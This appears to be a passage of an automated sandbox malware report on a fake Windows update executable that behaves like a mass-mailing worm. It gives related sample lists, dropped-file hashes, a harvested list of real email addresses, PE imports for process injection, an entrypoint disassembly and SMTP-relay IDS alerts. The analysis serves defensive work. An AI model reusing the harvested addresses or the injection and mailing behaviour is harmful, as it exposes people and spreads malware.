	doc.msg.exe	Get hash	malicious	Browse
	test.msg.exe	Get hash	malicious	Browse
	Update-KB3756-x86.exe	Get hash	malicious	Browse
	body.elm.exe	Get hash	malicious	Browse
	readme.txt.exe	Get hash	malicious	Browse
	Update-KB9504-x86.exe	Get hash	malicious	Browse
	Update-KB6340-x86.exe	Get hash	malicious	Browse
	file.msg.exe	Get hash	malicious	Browse
	Update-KB1484-x86.exe	Get hash	malicious	Browse
	lsass(1).exe	Get hash	malicious	Browse
104.47.57.33	Update-KB78-x86.exe	Get hash	malicious	Browse
	doc.msg.exe	Get hash	malicious	Browse
	Update-KB3756-x86.exe	Get hash	malicious	Browse
	Xz2kK8et6i.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.DownLoader41.25700.7371.exe	Get hash	malicious	Browse
	JgC7A84YOU.exe	Get hash	malicious	Browse
	asgRF2AfuM.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mimas.w3.org	file.txt.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB250-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB2984-x86.exe	Get hash	malicious	Browse	128.30.52.79
	doc.msg.exe	Get hash	malicious	Browse	128.30.52.79
	test.msg.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB3756-x86.exe	Get hash	malicious	Browse	128.30.52.79
	body.elm.exe	Get hash	malicious	Browse	128.30.52.79
	readme.txt.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB9504-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB6340-x86.exe	Get hash	malicious	Browse	128.30.52.79
	file.msg.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB1484-x86.exe	Get hash	malicious	Browse	128.30.52.79
	68lette.exe	Get hash	malicious	Browse	128.30.52.79
	64messag.exe	Get hash	malicious	Browse	128.30.52.79
	36k9v5LTknDj.exe	Get hash	malicious	Browse	128.30.52.79
	15messag.exe	Get hash	malicious	Browse	128.30.52.79
	14Attachmen.exe	Get hash	malicious	Browse	128.30.52.79
	.exe	Get hash	malicious	Browse	128.30.52.79
	34FIL.exe	Get hash	malicious	Browse	128.30.52.79
	77Readm.exe	Get hash	malicious	Browse	128.30.52.79

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SYMANTEC-US	file.txt.exe	Get hash	malicious	Browse	67.219.246.220
	Update-KB250-x86.exe	Get hash	malicious	Browse	67.219.250.103
	Update-KB2984-x86.exe	Get hash	malicious	Browse	67.219.246.199
	doc.msg.exe	Get hash	malicious	Browse	67.219.250.103
	HsWJJz7nq4.exe	Get hash	malicious	Browse	67.219.246.204
	test.msg.exe	Get hash	malicious	Browse	67.219.246.103
	Update-KB3756-x86.exe	Get hash	malicious	Browse	67.219.246.103
	body.elm.exe	Get hash	malicious	Browse	67.219.246.103
	readme.txt.exe	Get hash	malicious	Browse	67.219.250.103
	Update-KB9504-x86.exe	Get hash	malicious	Browse	67.219.246.199
	Update-KB6340-x86.exe	Get hash	malicious	Browse	67.219.250.103
	ivMI3veipP.exe	Get hash	malicious	Browse	67.219.246.199
	file.msg.exe	Get hash	malicious	Browse	67.219.246.103
	Update-KB1484-x86.exe	Get hash	malicious	Browse	67.219.250.199
	46DOCUMEN.exe	Get hash	malicious	Browse	67.219.246.195
	46mail.exe	Get hash	malicious	Browse	67.219.250.197
	.exe	Get hash	malicious	Browse	216.82.251.230
	13adeshpande@vantageforce.com.doc .exe	Get hash	malicious	Browse	67.219.250.96
	19fil.exe	Get hash	malicious	Browse	67.219.246.96
	7Instructio.exe	Get hash	malicious	Browse	216.82.251.230

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~304A.tmp Download File
Process:	C:\Windows\tserv.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	3.8572555764896075
Encrypted:	false
SSDEEP:	3:OYfjJQfKJpWDY+cfdJVJQ7ZQ2JOs:OmJrjGoDj6lJOs
MD5:	4A5FBB084BB43DFD2DAB985741FBA0DB
SHA1:	BD853194415D9BB3FB852F0DFDF4277D93490B6C
SHA-256:	355DCB97C44FD7B2E6259D74B9EA123B94C091BAD5BCB1879328CCCBA4D5EA40
SHA-512:	07318F372330D5411E60E64D9B1015D9AB00E8B3A49AAF8A27DBA44471D5B656D3793AC57BBAA05375B1B490580503475A38CBCD8D8F4E832E9E191B489E0492
Malicious:	false
Reputation:	low
Preview:	res=0:61,4:39,5:16,8:73,&srv=220:1,421:8,450:1,550:54,553:5,554:4,&wn=

C:\Windows\tserv.exe Download File
Process:	C:\Users\user\Desktop\Update-KB6734-x86.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	610477
Entropy (8bit):	2.9691329702985807
Encrypted:	false
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqod:JjqVG/pJZzfwsGX+LOODg
MD5:	5DCD10F99C967B68CF441863061EBA58
SHA1:	FEAB79CE4D099AD4C6C85EBA94337DDBFDD9C832
SHA-256:	9DB274112D2F8FBB5B21E6D5D0A1C71BE0DC1D5240451EF23786492889D87075
SHA-512:	B407DBA637DD2CE9455EFBC714D4B89EE7601EA8F384E00725BF1F1B11F6239E1634653D38DFA4A4172771982198A74E1E53CB6ED4234DB2D7CA28CD45496A54
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 93%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-.fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E.....................p.......]............@..........................P..................................................P....@..................................................................H...............L............................text............................... ..`.rdata...........0..................@..@.data....(..........................@....rsrc........@....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tserv.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Update-KB6734-x86.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\tserv.wax Download File
Process:	C:\Windows\tserv.exe
File Type:	data
Category:	modified
Size (bytes):	36896948
Entropy (8bit):	3.070318486541977E-4
Encrypted:	false
SSDEEP:	24:hDbJvKCqpQzIAh0Nwm/iJ9/gj2iuAZiZGL:cAh0+ZMqM
MD5:	4CA595F04424D8A593292CA54FA293A8
SHA1:	584A2BDFFC4F830F21D0FC544093123FAD13990D
SHA-256:	E7B769E468D0C5B8663BC2AD42521FDF1628018C61A64D985C5FD109EEA98B60
SHA-512:	CB0C957FC82070E6757E373E888D4A75CD2826A16657320FF9A1FEFAF98A01235CDF92FC76E9C3B26048EA45674D10EE4A6A86E5629EB21FFE662287C11459C9
Malicious:	false
Reputation:	low
Preview:	macjohnsmith@yahoo.com..................macjohnsmith@hotmail.com................macjohnsmith@yandex.ru..................macjohnsmith@tut.by.....................macjohnsmith@mail.com...................macjohnsmith@bigmir.net.................njhnbkf@gmail.com.......................macjohnsmith@inbox.lv...................ppp@a1plus.at...........................web@telering.at.........................gprs@a1plus.at..........................user@au.au-net.ne.jp....................charsets@apple.com......................biljir@pobox.com........................grady@netcom.com........................grady@northcoast.com....................brian.kelk@cl.cam.ac.uk.................stolfi@src.dec.com......................thegrendel@theriver.com.................ross@bryson.demon.co.uk.................dwb@openoffice.org......................site-policy@w3.org......................ml1050@cdata.tvnet.hu...................jloup@gzip.org..................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	2.9691329702985807
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Update-KB6734-x86.exe
File size:	610477
MD5:	5dcd10f99c967b68cf441863061eba58
SHA1:	feab79ce4d099ad4c6c85eba94337ddbfdd9c832
SHA256:	9db274112d2f8fbb5b21e6d5d0a1c71be0dc1d5240451ef23786492889d87075
SHA512:	b407dba637dd2ce9455efbc714d4b89ee7601ea8f384e00725bf1f1b11f6239e1634653d38dfa4a4172771982198a74e1e53cb6ed4234db2d7ca28cd45496a54
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqod:JjqVG/pJZzfwsGX+LOODg
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-..fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E...

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x425d91
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x45113F20 [Wed Sep 20 13:16:16 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	547cd05356c429dc57b17bf0fd6daf12

Entrypoint Preview

Instruction
push 00000060h
push 0042E598h
call 00007FD884D44734h
mov edi, 00000094h
mov eax, edi
call 00007FD884D4358Ch
mov dword ptr [ebp-18h], esp
mov esi, esp
mov dword ptr [esi], edi
push esi
call dword ptr [0042E0ECh]
mov ecx, dword ptr [esi+10h]
mov dword ptr [00432214h], ecx
mov eax, dword ptr [esi+04h]
mov dword ptr [00432220h], eax
mov edx, dword ptr [esi+08h]
mov dword ptr [00432224h], edx
mov esi, dword ptr [esi+0Ch]
and esi, 00007FFFh
mov dword ptr [00432218h], esi
cmp ecx, 02h
je 00007FD884D43E8Eh
or esi, 00008000h
mov dword ptr [00432218h], esi
shl eax, 08h
add eax, edx
mov dword ptr [0043221Ch], eax
xor esi, esi
push esi
mov edi, dword ptr [0042E0BCh]
call edi
cmp word ptr [eax], 5A4Dh
jne 00007FD884D43EA1h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007FD884D43E94h
movzx eax, word ptr [ecx+18h]
cmp eax, 0000010Bh
je 00007FD884D43EA1h
cmp eax, 0000020Bh
je 00007FD884D43E87h
mov dword ptr [ebp-1Ch], esi
jmp 00007FD884D43EA9h
cmp dword ptr [ecx+00000084h], 0Eh
jbe 00007FD884D43E74h
xor eax, eax
cmp dword ptr [ecx+000000F8h], esi
jmp 00007FD884D43E90h
cmp dword ptr [ecx+74h], 0Eh
jbe 00007FD884D43E64h
xor eax, eax
cmp dword ptr [ecx+000000E8h], esi
setne al
mov dword ptr [ebp-1Ch], eax

Rich Headers

Programming Language:

[RES] VS2003 (.NET) build 3077
[ASM] VS2003 (.NET) build 3077
[C++] VS2003 (.NET) build 3077
[ C ] VS2003 (.NET) build 3077
[LNK] VS2003 (.NET) build 3077

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30204	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x30118	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f6d0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e000	0x24c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c5a4	0x2d000	False	0.553293185764	data	6.35329657639	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0x2efc	0x3000	False	0.361490885417	data	4.95542429842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x28c0	0x1000	False	0.211669921875	data	1.97938888979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x30118	0x31000	False	0.00824597417092	data	0.152870461434	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xafc\xa7aa\x8888\x8888\x8088\xa7aa\xffff\xffff\x80ff\xa7aa\xffff\xffff\x80ff\xa7aa\xff	0x61518	0x2c00	ISO-8859 text, with very long lines, with no line terminators	English	United States
\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xafc\xa7aa\x8888\x8888\x8088\xa7aa\xffff\xffff\x80ff\xa7aa\xffff\xffff\x80ff\xa7aa\xff	0x39f18	0xf000	ISO-8859 text, with very long lines, with no line terminators	English	United States
RT_ICON	0x34320	0x2e8	ISO-8859 text, with very long lines, with no line terminators	English	United States
RT_ICON	0x34608	0xffffff28	data	English	United States

Imports

DLL	Import
KERNEL32.dll	WriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, Process32Next, Process32First, CreateToolhelp32Snapshot, GetFileAttributesA, lstrcatA, GetSystemDirectoryA, lstrcmpiA, UnmapViewOfFile, GetFileSize, MapViewOfFile, CreateFileMappingA, FindClose, FindNextFileA, lstrcmpA, GetLastError, FindFirstFileA, lstrcpyA, SetFilePointer, ReadFile, GetTimeZoneInformation, GetModuleHandleA, LoadLibraryA, GetModuleFileNameA, GetCurrentDirectoryA, MoveFileExA, CopyFileA, GetOverlappedResult, LockResource, SizeofResource, LoadResource, FindResourceA, ResetEvent, GetVersionExA, HeapReAlloc, IsBadWritePtr, GetVolumeInformationA, DeviceIoControl, DefineDosDeviceA, QueryDosDeviceA, SetEndOfFile, GetProcAddress, CreateRemoteThread, GetCurrentProcess, CreateMutexA, ReleaseMutex, GetProcessHeap, HeapAlloc, Sleep, CloseHandle, GetTempPathA, GetTempFileNameA, WriteFile, CreateProcessA, DeleteFileA, HeapFree, GetLocalTime, CreateThread, CreateEventA, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ExpandEnvironmentStringsA, CreateFileA, GetTickCount, ExitProcess, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TlsAlloc, SetLastError, TlsFree, TlsSetValue, TlsGetValue, SetUnhandledExceptionFilter, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InterlockedExchange, VirtualQuery, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, TerminateProcess, HeapSize, VirtualProtect, GetSystemInfo, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, IsBadReadPtr, IsBadCodePtr, GetACP, GetOEMCP, GetCPInfo, InitializeCriticalSection, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, FlushFileBuffers
USER32.dll	wsprintfA, MessageBoxA, SetWindowsHookExA
ADVAPI32.dll	RegOpenKeyA, RegEnumKeyExA, InitializeSecurityDescriptor, GetTokenInformation, SetSecurityDescriptorOwner, SetSecurityDescriptorGroup, AllocateAndInitializeSid, GetLengthSid, AddAce, IsValidSecurityDescriptor, QueryServiceStatusEx, OpenSCManagerA, OpenServiceA, CloseServiceHandle, RegDeleteValueA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/07/22-15:42:44.489450	TCP	567	POLICY SMTP relaying denied	25	49740	104.47.57.33	192.168.2.6
01/07/22-15:42:44.529186	TCP	567	POLICY SMTP relaying denied	25	49741	77.88.21.249	192.168.2.6
01/07/22-15:42:45.842571	TCP	567	POLICY SMTP relaying denied	25	49744	77.88.21.249	192.168.2.6
01/07/22-15:42:51.608877	TCP	567	POLICY SMTP relaying denied	25	49751	194.152.32.72	192.168.2.6
01/07/22-15:42:51.831085	TCP	567	POLICY SMTP relaying denied	25	49752	194.152.32.73	192.168.2.6
01/07/22-15:42:55.689001	TCP	567	POLICY SMTP relaying denied	25	49756	104.47.22.161	192.168.2.6
01/07/22-15:42:56.094043	TCP	567	POLICY SMTP relaying denied	25	49760	77.88.21.249	192.168.2.6
01/07/22-15:42:56.721449	TCP	567	POLICY SMTP relaying denied	25	49761	77.88.21.249	192.168.2.6
01/07/22-15:43:00.208350	TCP	567	POLICY SMTP relaying denied	25	49768	194.152.32.73	192.168.2.6
01/07/22-15:43:00.418709	TCP	567	POLICY SMTP relaying denied	25	49770	194.152.32.74	192.168.2.6
01/07/22-15:43:01.165173	TCP	567	POLICY SMTP relaying denied	25	49779	77.88.21.249	192.168.2.6
01/07/22-15:43:01.166857	TCP	567	POLICY SMTP relaying denied	25	49780	77.88.21.249	192.168.2.6
01/07/22-15:43:01.182763	TCP	567	POLICY SMTP relaying denied	25	49778	104.47.70.33	192.168.2.6
01/07/22-15:43:02.101933	TCP	567	POLICY SMTP relaying denied	25	49787	194.152.32.72	192.168.2.6
01/07/22-15:43:02.312388	TCP	567	POLICY SMTP relaying denied	25	49788	194.152.32.75	192.168.2.6
01/07/22-15:43:02.793750	TCP	567	POLICY SMTP relaying denied	25	49790	104.47.56.33	192.168.2.6
01/07/22-15:43:02.854675	TCP	567	POLICY SMTP relaying denied	25	49791	104.47.56.33	192.168.2.6
01/07/22-15:43:03.026369	TCP	567	POLICY SMTP relaying denied	25	49793	104.47.56.33	192.168.2.6
01/07/22-15:43:03.354605	TCP	567	POLICY SMTP relaying denied	25	49796	104.47.56.33	192.168.2.6
01/07/22-15:43:03.427850	TCP	567	POLICY SMTP relaying denied	25	49797	104.47.73.33	192.168.2.6
01/07/22-15:43:03.461709	TCP	567	POLICY SMTP relaying denied	25	49795	104.47.56.33	192.168.2.6
01/07/22-15:43:19.409072	TCP	567	POLICY SMTP relaying denied	25	49823	104.47.51.33	192.168.2.6
01/07/22-15:43:19.409085	TCP	567	POLICY SMTP relaying denied	25	49821	104.47.51.33	192.168.2.6
01/07/22-15:43:19.409555	TCP	567	POLICY SMTP relaying denied	25	49827	104.47.51.33	192.168.2.6
01/07/22-15:43:19.409570	TCP	567	POLICY SMTP relaying denied	25	49822	104.47.51.33	192.168.2.6
01/07/22-15:43:19.410024	TCP	567	POLICY SMTP relaying denied	25	49824	104.47.51.33	192.168.2.6
01/07/22-15:43:19.410264	TCP	567	POLICY SMTP relaying denied	25	49825	104.47.51.33	192.168.2.6
01/07/22-15:43:19.410955	TCP	567	POLICY SMTP relaying denied	25	49826	104.47.51.33	192.168.2.6
01/07/22-15:43:20.367464	TCP	567	POLICY SMTP relaying denied	25	49834	104.47.51.110	192.168.2.6
01/07/22-15:43:20.427873	TCP	567	POLICY SMTP relaying denied	25	49836	104.47.51.110	192.168.2.6
01/07/22-15:43:23.100711	TCP	567	POLICY SMTP relaying denied	25	49851	104.47.56.110	192.168.2.6
01/07/22-15:43:26.097423	TCP	567	POLICY SMTP relaying denied	25	49859	104.47.56.110	192.168.2.6
01/07/22-15:43:32.974661	TCP	567	POLICY SMTP relaying denied	25	49870	104.47.57.110	192.168.2.6
01/07/22-15:43:39.601095	TCP	567	POLICY SMTP relaying denied	25	49880	104.47.56.110	192.168.2.6
01/07/22-15:43:41.624018	TCP	567	POLICY SMTP relaying denied	25	49885	104.47.56.110	192.168.2.6
01/07/22-15:43:44.175757	TCP	567	POLICY SMTP relaying denied	25	49897	104.47.56.110	192.168.2.6
01/07/22-15:43:45.777222	TCP	567	POLICY SMTP relaying denied	25	49910	104.47.51.110	192.168.2.6
01/07/22-15:43:49.912261	TCP	567	POLICY SMTP relaying denied	25	49930	104.47.51.110	192.168.2.6
01/07/22-15:43:57.303651	TCP	567	POLICY SMTP relaying denied	25	49958	104.47.18.74	192.168.2.6
01/07/22-15:44:06.691532	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	53215	8.8.8.8	192.168.2.6
01/07/22-15:44:06.783338	TCP	567	POLICY SMTP relaying denied	25	50003	104.47.18.74	192.168.2.6
01/07/22-15:44:08.269597	TCP	567	POLICY SMTP relaying denied	25	50004	51.81.57.58	192.168.2.6
01/07/22-15:44:10.436667	TCP	567	POLICY SMTP relaying denied	25	50008	51.81.57.59	192.168.2.6
01/07/22-15:44:11.941423	TCP	567	POLICY SMTP relaying denied	25	50022	51.81.242.59	192.168.2.6
